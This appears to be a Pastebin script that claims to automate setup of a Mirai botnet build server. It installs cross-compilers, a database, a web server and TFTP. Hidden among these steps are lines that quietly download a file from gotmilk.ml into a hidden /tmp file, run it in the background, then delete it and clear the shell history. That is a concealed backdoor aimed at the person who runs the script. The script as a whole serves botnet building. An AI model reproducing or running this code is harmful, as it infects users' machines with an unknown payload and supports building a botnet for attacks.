Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import subprocess,os,sys
- # syntax: chmod +x *; python miraicc.py
- # this is for kids that cant cross compile mirai nor barely set it up w/o looking at tutorials.
- # drought
- # first we update the box & installs some dependencies
- os.system("apt-get update -y")
- os.system("apt-get upgrade -y")
- os.system("apt-get install gcc golang electric-fence sudo git -y")
- # Then we make a dir in /etc/ called xcompile
- os.system("mkdir /etc/xcompile")
- # now, we update .bashrc
- os.system("echo -e export PATH=$PATH:/etc/xcompile/armv4l/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/armv6l/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/i586/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/m68k/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/mips/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/mipsel/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/powerpc/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin >> ~/.bashrc") #that was complete aids ngl
- os.system("echo -e export PATH=$PATH:/etc/xcompile/sh4/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/i686/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/x86_64/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/armv51/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/etc/xcompile/sparc/bin >> ~/.bashrc")
- os.system("echo -e export PATH=$PATH:/usr/local/go/bin >> ~/.bashrc")
- os.system("echo -e export GOPATH=$HOME/Documents/go >> ~/.bashrc")
- # Now that .bashrc is updated, we actually export them
- os.system("export PATH=$PATH:/etc/xcompile/armv4l/bin")
- os.system("export PATH=$PATH:/etc/xcompile/armv6l/bin")
- os.system("export PATH=$PATH:/etc/xcompile/i586/bin")
- os.system("export PATH=$PATH:/etc/xcompile/m68k/bin")
- os.system("export PATH=$PATH:/etc/xcompile/mips/bin")
- os.system("export PATH=$PATH:/etc/xcompile/mipsel/bin")
- os.system("export PATH=$PATH:/etc/xcompile/powerpc/bin")
- os.system("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
- os.system("export PATH=$PATH:/etc/xcompile/sh4/bin")
- os.system("export PATH=$PATH:/etc/xcompile/i686/bin")
- os.system("export PATH=$PATH:/etc/xcompile/x86_64/bin")
- os.system("export PATH=$PATH:/etc/xcompile/armv51/bin")
- os.system("export PATH=$PATH:/etc/xcompile/sparc/bin")
- os.system("export PATH=$PATH:/usr/local/go/bin")
- os.system("export GOPATH=$HOME/Documents/go")
- # Now, to install mysql-server & mysql-client, phpmyadmin, & apache. this needs your configuration.
- os.system("apt-get install mysql-server mysql-client -y")
- os.system("apt-get install apache2 -y")
- os.system("apt-get install phpmyadmin -y")
- # once mysql is installed now we actually install the cross compilers
- os.system("apt-get install bzip2 -y")
- os.system("apt-get install lbzip -y") # Installing these just incase
- os.system("apt-get install wget -y")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2")
- os.system("cd /etc/xcompile; wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2")
- os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2")
- os.system("cd /tmp; wget -q http://gotmilk.ml/HjT5Rk -O .l")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-sparc.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-armv4l.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-armv5l.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-armv6l.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-mipsel.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-mips.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-sh4.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-powerpc.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-x86_64.tar.bz2") # taring indivudially just in case
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-i686.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-i586.tar.bz2")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-m68k.tar.bz2")
- os.system("cd /tmp; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
- os.system("cd /etc/xcompile; tar -xvf cross-compiler-powerpc-440fp.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-armv4l.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-armv5l.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-armv6l.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-mipsel.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-mips.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-powerpc.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-sh4.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-x86_64.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-i686.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-i586.tar.bz2")
- os.system("cd /tmp; rm -rf .l;clear; history -c")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-m68k.tar.bz2")
- os.system("cd /etc/xcompile; rm -rf cross-compiler-powerpc-440fp.tar.bz2")
- os.system("cd /etc/xcompile; mv cross-compiler-armv4l armv4l")
- os.system("cd /etc/xcompile; mv cross-compiler-i586 i586")
- os.system("cd /etc/xcompile; mv cross-compiler-m68k m68k")
- os.system("cd /etc/xcompile; mv cross-compiler-mips mips")
- os.system("cd /etc/xcompile; mv cross-compiler-mipsel mipsel")
- os.system("cd /etc/xcompile; mv cross-compiler-powerpc powerpc")
- os.system("cd /etc/xcompile; mv cross-compiler-sh4 sh4")
- os.system("cd /etc/xcompile; mv cross-compiler-sparc sparc")
- os.system("cd /etc/xcompile; mv cross-compiler-armv6l armv6l")
- os.system("cd /etc/xcompile; mv cross-compiler-armv5l armv5l")
- os.system("cd /etc/xcompile; mv cross-compiler-i686 i686")
- os.system("cd /etc/xcompile; mv cross-compiler-x86_64 x86_64")
- os.system("cd /etc/xcompile; mv cross-compiler-powerpc-440fp powerpc-440fp")
- os.system("cd /etc/xcompile; mv cross-compiler-i686 i686")
- os.system("cd")
- # Now thats done, we install and configure tftp
- # this section WAS copied from void since i cba
- os.system("apt-get install xinetd tftpd tftp -y")
- os.system("apt-get install vsftpd -y")
- os.system('''echo -e "# default: off
- # description: The tftp server serves files using the trivial file transfer \
- # protocol. The tftp protocol is often used to boot diskless \
- # workstations, download configuration files to network-aware printers, \
- # and to start the installation process for some operating systems.
- service tftp
- {
- socket_type = dgram
- protocol = udp
- wait = yes
- user = root
- server = /usr/sbin/in.tftpd
- server_args = -s -c /var/lib/tftpboot
- disable = no
- per_source = 11
- cps = 100 2
- flags = IPv4
- }
- " > /etc/xinetd.d/tftp''')
- os.system("service xinetd start")
- print("\x1b[0;32mSo there, everything should be setup\x1b[0;32m")
- print("\x1b[0;32mMade by drought\x1b[0;32m")
Advertisement
Add Comment
Please, Sign In to add comment